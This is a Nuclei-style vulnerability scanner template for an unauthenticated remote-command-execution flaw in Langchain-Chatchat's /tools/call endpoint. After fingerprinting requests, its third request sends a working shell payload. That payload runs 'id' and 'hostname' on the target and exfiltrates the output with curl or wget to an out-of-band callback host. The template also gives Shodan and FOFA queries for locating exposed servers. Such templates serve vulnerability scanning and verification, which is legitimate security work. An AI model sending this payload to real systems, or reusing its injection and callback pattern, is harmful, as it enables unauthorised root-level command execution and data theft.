Copy
id: CVE-2026-75128
info:
name: Langchain-Chatchat <= 0.3.1.3 - Unauthenticated RCE
author: 0x_Akoko
severity: critical
description: |
Langchain-Chatchat <= 0.3.1.3 contains a command injection caused by unauthenticated access to the /tools/call API endpoint invoking the shell tool, letting remote attackers execute arbitrary OS commands as root, exploit requires no authentication.
impact: |
Remote attackers can execute arbitrary OS commands as root, leading to full system compromise.
remediation: |
Update to the latest version of Langchain-Chatchat.
reference:
- https://www.lasso.security/vulnerability-database/cve-2026-75128
- https://www.vulncheck.com/advisories/langchain-chatchat-through-0.3.1.3-unauthenticated-rce-via-tools-call-endpoint
- https://github.com/chatchat-space/Langchain-Chatchat
- https://nvd.nist.gov/vuln/detail/CVE-2026-75128
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-75128
epss-score: 0.02226
epss-percentile: 0.82838
cwe-id: CWE-306
metadata:
verified: true
max-request: 3
vendor: chatchat-space
product: langchain-chatchat
shodan-query: http.title:"Langchain-Chatchat API Server"
fofa-query: title="Langchain-Chatchat API Server"
tags: cve,cve2026,langchain-chatchat,chatchat,langchain,ai,llm,rce,oast,unauth
variables:
probe: "{{rand_text_alpha(6)}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /openapi.json HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains_all(body, "Langchain-Chatchat API Server", "/tools/call", "/knowledge_base/list_knowledge_bases")'
condition: and
internal: true
- raw:
- |
GET /tools HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains_all(body, "Use Shell to execute system shell commands", "The command to execute")'
condition: and
internal: true
- raw:
- |
POST /tools/call HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"shell","tool_input":{"query":"O=$(id | tr -d ' ')/$(hostname);curl -sm8 http://{{interactsh-url}}/{{probe}}/$O || wget -T8 -qO- http://{{interactsh-url}}/{{probe}}/$O"}}
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "http")'
- 'contains(interactsh_request, probe)'
condition: and
extractors:
- type: dsl
dsl:
- 'replace_regex(replace_regex(interactsh_request, "(?s)^GET /" + probe + "/", ""), "(?s) HTTP/1.*", "")'
# digest: 490a0046304402202585d745b63d94e5b7adb7bb0ec0cb362c51560a947ea8c979c48177ac4ac44002207c5959081aa0146e67eecff80a9c531a718b62cce26f3d7f5b8658f968b4f6cf:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.